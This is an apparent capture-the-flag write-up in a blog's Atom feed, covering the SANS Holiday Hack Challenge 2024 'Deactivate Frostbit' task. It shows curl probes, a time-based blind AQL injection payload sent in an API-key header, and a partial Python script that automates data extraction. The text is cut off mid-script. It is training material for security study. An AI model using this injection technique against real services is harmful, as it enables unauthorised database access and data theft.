<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom">
    <id>https://holidayhackchallenge.thedead91.com</id>
    <title>SANS Holiday Hack Challenge 2024 writeup</title>
    <link href="https://holidayhackchallenge.thedead91.com" />
    <updated>2025-01-03T15:00:00.000Z</updated>
    <category term="SANS Holiday Hack Challenge 2024" />
    <category term="Holiday Hack Challenge" />
    <category term="Holiday Hack Challenge 2024" />
    <category term="Snow-maggedon" />
    <category term="prologue" />
    <category term="Holiday Hack Orientation" />
    <category term="Jingle Ringford" />
    <category term="Elf Connect" />
    <category term="Angel Candysalt" />
    <category term="act1" />
    <category term="Frosty Keypad" />
    <category term="Morcel Nougat" />
    <category term="cURLing" />
    <category term="Bow Ninecandle" />
    <category term="Hardware Hacking 101" />
    <category term="Hardware Hacking 101 - Part 1" />
    <category term="Jewel Loggins" />
    <category term="act2" />
    <category term="Mobile Analysis" />
    <category term="Eve Snowshoes" />
    <category term="Hardware Hacking 101 - Part 2" />
    <category term="Drone Path" />
    <category term="Chimney Scissorsticks" />
    <category term="Elf Minder 9000" />
    <category term="Poinsettia McMittens" />
    <category term="PowerShell" />
    <category term="Piney Sappington" />
    <category term="Snowball Showdown" />
    <category term="Dusty Giftwrap" />
    <category term="Microsoft KC7" />
    <category term="act3" />
    <category term="Santa Vision" />
    <category term="Santa Vision A" />
    <category term="Ribb Bonbowford" />
    <category term="Santa Vision B" />
    <category term="Santa Vision C" />
    <category term="Santa Vision D" />
    <category term="Decrypt the Naughty-Nice List" />
    <category term="Decrypt" />
    <category term="Elf Stack" />
    <category term="Fitzy Shortstack" />
    <category term="Deactivate Frostbit Naughty-Nice List Publication" />
    <category term="Deactivate" />
    <entry>
        <id>https://holidayhackchallenge.thedead91.com/2025/01/03/2024-15-Deactivate-Frostbit-Naughty-Nice-List-Publication/</id>
        <title>Deactivate Frostbit Naughty-Nice List Publication</title>
        <link rel="alternate" href="https://holidayhackchallenge.thedead91.com/2025/01/03/2024-15-Deactivate-Frostbit-Naughty-Nice-List-Publication/"/>
        <content type="html">&lt;p&gt;Difficulty: &lt;span style=&#34;color:red&#34;&gt;❄ ❄ ❄ ❄ ❄&lt;/span&gt;&lt;br&gt;Wombley’s ransomware server is threatening to publish the Naughty-Nice list. Find a way to deactivate the publication of the Naughty-Nice list by the ransomware server.&lt;/p&gt;
&lt;h2 id=&#34;Hints&#34;&gt;&lt;a href=&#34;#Hints&#34; class=&#34;headerlink&#34; title=&#34;Hints&#34;&gt;&lt;/a&gt;Hints&lt;/h2&gt;&lt;h3 id=&#34;Frostbit-Publication&#34;&gt;&lt;a href=&#34;#Frostbit-Publication&#34; class=&#34;headerlink&#34; title=&#34;Frostbit Publication&#34;&gt;&lt;/a&gt;Frostbit Publication&lt;/h3&gt;&lt;p&gt;&lt;em&gt;From: Dusty Giftwrap&lt;/em&gt;&lt;br&gt;There must be a way to deactivate the ransomware server’s data publication. Perhaps one of the other North Pole assets revealed something that could help us find the deactivation path. If so, we might be able to trick the Frostbit infrastructure into revealing more details.&lt;/p&gt;
&lt;h3 id=&#34;Frostbit-Slumber&#34;&gt;&lt;a href=&#34;#Frostbit-Slumber&#34; class=&#34;headerlink&#34; title=&#34;Frostbit Slumber&#34;&gt;&lt;/a&gt;Frostbit Slumber&lt;/h3&gt;&lt;p&gt;&lt;em&gt;From: Dusty Giftwrap&lt;/em&gt;&lt;br&gt;The Frostbit author may have mitigated the use of certain characters, verbs, and simple authentication bypasses, leaving us &lt;strong&gt;blind&lt;/strong&gt; in this case. Therefore, we might need to trick the application into responding differently based on our input and measure its response. If we know the underlying technology used for data storage, we can replicate it locally using Docker containers, allowing us to develop and test techniques and payloads with greater insight into how the application functions.&lt;/p&gt;
&lt;h2 id=&#34;Solution&#34;&gt;&lt;a href=&#34;#Solution&#34; class=&#34;headerlink&#34; title=&#34;Solution&#34;&gt;&lt;/a&gt;Solution&lt;/h2&gt;&lt;p&gt;The base URL from the “Decrypt the Naughty-Nice List” challenge (&lt;a href=&#34;https://api.frostbit.app/&#34;&gt;https://api.frostbit.app&lt;/a&gt;), also the UUID will be the same, in my case 3da17f67-ee61-455d-afc2-aa20e8c7911e.&lt;br&gt;Additionally, one of the messages in &lt;code&gt;frostbitfeed&lt;/code&gt; Santa Vision challenge provides a useful hint for this challenge:&lt;br&gt;&lt;code&gt;Error msg: Unauthorized access attempt. /api/v1/frostbitadmin/bot/&amp;lt;botuuid&amp;gt;/deactivate, authHeader: X-API-Key, status: Invalid Key, alert: Warning, recipient: Wombley&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Starting with these information and trying to append the &lt;code&gt;debug&lt;/code&gt; parameter to the url, we can observe the behavior of the API:&lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;(act3-ransomware) thedead@maccos act3-ransomware % curl &lt;span class=&#34;string&#34;&gt;&amp;quot;https://api.frostbit.app//api/v1/frostbitadmin/bot/3da17f67-ee61-455d-afc2-aa20e8c7911e/deactivate?debug=true&amp;quot;&lt;/span&gt; -H &lt;span class=&#34;string&#34;&gt;&amp;quot;X-API-Key: asd&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&amp;#123;&lt;span class=&#34;string&#34;&gt;&amp;quot;debug&amp;quot;&lt;/span&gt;:&lt;span class=&#34;literal&#34;&gt;true&lt;/span&gt;,&lt;span class=&#34;string&#34;&gt;&amp;quot;error&amp;quot;&lt;/span&gt;:&lt;span class=&#34;string&#34;&gt;&amp;quot;Invalid Key&amp;quot;&lt;/span&gt;&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;Attempting common attack patterns we can observe a SQL-injection like behavior:&lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;(act3-ransomware) thedead@maccos act3-ransomware % curl &lt;span class=&#34;string&#34;&gt;&amp;quot;https://api.frostbit.app//api/v1/frostbitadmin/bot/3da17f67-ee61-455d-afc2-aa20e8c7911e/deactivate?debug=true&amp;quot;&lt;/span&gt; -H &lt;span class=&#34;string&#34;&gt;&amp;quot;X-API-Key: &amp;#x27;&amp;quot;&lt;/span&gt;  &lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&amp;#123;&lt;span class=&#34;string&#34;&gt;&amp;quot;debug&amp;quot;&lt;/span&gt;:&lt;span class=&#34;literal&#34;&gt;true&lt;/span&gt;,&lt;span class=&#34;string&#34;&gt;&amp;quot;error&amp;quot;&lt;/span&gt;:&lt;span class=&#34;string&#34;&gt;&amp;quot;Timeout or error in query:\nFOR doc IN config\n    FILTER doc.&amp;lt;key_name_omitted&amp;gt; == &amp;#x27;&amp;#123;user_supplied_x_api_key&amp;#125;&amp;#x27;\n    &amp;lt;other_query_lines_omitted&amp;gt;\n    RETURN doc&amp;quot;&lt;/span&gt;&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;Not knowing this specific syntax, I resorted to ChatGPT which revealed I was dealing with AQL (ArangoDB Query Language). Not being familiar with this NoSQL database technology, I spent some time finding a proper query and eventually ended up with a reliable blind injection in the form of &lt;code&gt;&amp;#39; || &amp;lt;PAYLOAD&amp;gt;?SLEEP(1000):false || &amp;#39;&lt;/code&gt;. I then wrote a python script to automate the attack and extract the data I was after:&lt;/p&gt;
&lt;figure class=&#34;highlight python&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;8&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;9&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;10&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;11&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;12&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;13&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;14&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;15&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;16&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;17&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;18&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;19&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;20&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;21&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;22&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;23&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;24&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;25&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;26&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;27&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;28&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;29&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;30&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;31&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;32&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;33&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;34&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;35&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;36&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;37&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;38&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;39&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;40&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;41&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;42&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;43&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;44&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;45&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;46&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;47&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;48&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;49&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;50&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;51&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;52&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;53&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;54&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;55&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;56&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;57&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;58&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;59&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;60&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;61&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;62&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;63&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;64&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;65&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;66&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;67&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;68&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;69&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;70&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;71&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;72&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;73&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;74&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;75&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;76&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;77&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;78&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;79&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;80&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;81&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;82&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;83&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;84&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;85&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;86&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;87&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;88&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;89&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;90&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;91&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;92&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;93&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;94&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;95&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;96&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;97&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;98&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;99&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;100&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;101&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;102&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;103&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;104&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;105&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;106&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;107&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;108&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;109&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;110&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;111&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;112&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;113&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;114&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;115&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;116&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;117&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;118&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;119&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;import&lt;/span&gt; requests&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;import&lt;/span&gt; logging&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;import&lt;/span&gt; time&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;import&lt;/span&gt; json&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;logging.basicConfig()&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;BASE_URL     = &lt;span class=&#34;string&#34;&gt;&amp;quot;https://api.frostbit.app/api/v1/frostbitadmin/bot/3da17f67-ee61-455d-afc2-aa20e8c7911e/deactivate?debug=true&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;BASE_QUERY   = &lt;span class=&#34;string&#34;&gt;&amp;quot;&amp;#x27; || &amp;#123;&amp;#125;?SLEEP(1000):false || &amp;#x27;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;HEADER       = &lt;span class=&#34;string&#34;&gt;&amp;quot;X-API-Key&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;OK_MSG       = &lt;span class=&#34;string&#34;&gt;&amp;#x27;Timeout or error in query:&amp;#x27;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;INT_RETRY_THRESHOLD = &lt;span class=&#34;number&#34;&gt;100&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;HEX_ALPHABET = [&lt;span class=&#34;string&#34;&gt;&amp;quot;0&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;1&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;2&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;3&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;4&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;5&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;6&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;7&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;8&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;9&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;a&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;b&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;c&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;d&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;e&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;f&amp;quot;&lt;/span&gt;]&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;LOG_LEVEL    = logging.INFO&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;logger       = logging.getLogger(&lt;span class=&#34;string&#34;&gt;&amp;quot;&amp;quot;&lt;/span&gt;)&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;def&lt;/span&gt; &lt;span class=&#34;title function_&#34;&gt;runBlind&lt;/span&gt; (query):&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  query = BASE_QUERY.&lt;span class=&#34;built_in&#34;&gt;format&lt;/span&gt;(query)&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  headers = &amp;#123;&lt;span class=&#34;string&#34;&gt;&amp;quot;X-API-Key&amp;quot;&lt;/span&gt;:query&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  start = time.perf_counter()&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  response = requests.get(BASE_URL, headers = headers)&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  request_time = time.perf_counter() - start&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  logger.debug (&lt;span class=&#34;string&#34;&gt;&amp;quot;runBlind --&amp;gt; Query: &amp;#123;&amp;#125;&amp;quot;&lt;/span&gt;.&lt;span class=&#34;built_in&#34;&gt;format&lt;/span&gt;(query))&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  logger.debug (&lt;span class=&#34;string&#34;&gt;&amp;quot;runBlind --&amp;gt; response.text: &amp;#123;&amp;#125;&amp;quot;&lt;/span&gt;.&lt;span class=&#34;built_in&#34;&gt;format&lt;/span&gt;(&lt;span class=&#34;built_in&#34;&gt;repr&lt;/span&gt;(response.text)))&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  logger.debug (&lt;span class=&#34;string&#34;&gt;&amp;quot;runBlind --&amp;gt; Query took &amp;#123;&amp;#125; seconds&amp;quot;&lt;/span&gt;.&lt;span class=&#34;built_in&#34;&gt;format&lt;/span&gt;(request_time))&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;keyword&#34;&gt;if&lt;/span&gt; OK_MSG &lt;span class=&#34;keyword&#34;&gt;in&lt;/span&gt; response.text:&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    logger.debug (&lt;span class=&#34;string&#34;&gt;&amp;quot;runBlind --&amp;gt; Success&amp;quot;&lt;/span&gt;)&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    &lt;span class=&#34;keyword&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;literal&#34;&gt;True&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;keyword&#34;&gt;else&lt;/span&gt;:&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    logger.debug (&lt;span class=&#34;string&#34;&gt;&amp;quot;runBlind --&amp;gt; Failed&amp;quot;&lt;/span&gt;)&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    &lt;span class=&#34;keyword&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;literal&#34;&gt;False&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;def&lt;/span&gt; &lt;span class=&#34;title function_&#34;&gt;runIntBlind&lt;/span&gt; (query):&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  tresholdTriggered = &lt;span class=&#34;literal&#34;&gt;False&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  i = &lt;span class=&#34;number&#34;&gt;0&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;keyword&#34;&gt;while&lt;/span&gt; &lt;span class=&#34;literal&#34;&gt;True&lt;/span&gt;:&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    _query = &lt;span class=&#34;string&#34;&gt;&amp;quot;&amp;#123;&amp;#125;==&amp;#123;&amp;#125;&amp;quot;&lt;/span&gt;.&lt;span class=&#34;built_in&#34;&gt;format&lt;/span&gt;(query,i)&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    logger.debug (&lt;span class=&#34;string&#34;&gt;&amp;quot;runIntBlind --&amp;gt; &amp;#123;&amp;#125;&amp;quot;&lt;/span&gt;.&lt;span class=&#34;built_in&#34;&gt;format&lt;/span&gt;(i))&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    result = runBlind(_query)&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    &lt;span class=&#34;keyword&#34;&gt;if&lt;/span&gt; tresholdTriggered:&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;      result = result &lt;span class=&#34;keyword&#34;&gt;or&lt;/span&gt; runBlind(_query)&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    &lt;span class=&#34;keyword&#34;&gt;if&lt;/span&gt; result:&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;      logger.debug (&lt;span class=&#34;string&#34;&gt;&amp;quot;runIntBlind --&amp;gt; Return &amp;#123;&amp;#125;&amp;quot;&lt;/span&gt;.&lt;span class=&#34;built_in&#34;&gt;format&lt;/span&gt;(i))&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;      &lt;span class=&#34;keyword&#34;&gt;return&lt;/span&gt; i&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    &lt;span class=&#34;keyword&#34;&gt;if&lt;/span&gt; i &amp;gt; INT_RETRY_THRESHOLD:&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;      logger.debug (&lt;span class=&#34;string&#34;&gt;&amp;quot;runIntBlind --&amp;gt; Counter over threshold, restarting with increased retries&amp;quot;&lt;/span&gt;)&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;      i = -&lt;span class=&#34;number&#34;&gt;1&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    i += &lt;span class=&#34;number&#34;&gt;1&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;def&lt;/span&gt; &lt;span class=&#34;title function_&#34;&gt;runHexBlind&lt;/span&gt; (query):&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  query = &lt;span class=&#34;string&#34;&gt;&amp;quot;TO_HEX(&amp;#123;&amp;#125;)&amp;quot;&lt;/span&gt;.&lt;span class=&#34;built_in&#34;&gt;format&lt;/span&gt;(query)&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  _query = &lt;span class=&#34;string&#34;&gt;&amp;quot;LENGTH(&amp;#123;&amp;#125;)&amp;quot;&lt;/span&gt;.&lt;span class=&#34;built_in&#34;&gt;format&lt;/span&gt;(query)&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  length = runIntBlind (_query)&lt;/span&gt;&lt;br&gt;&lt;span 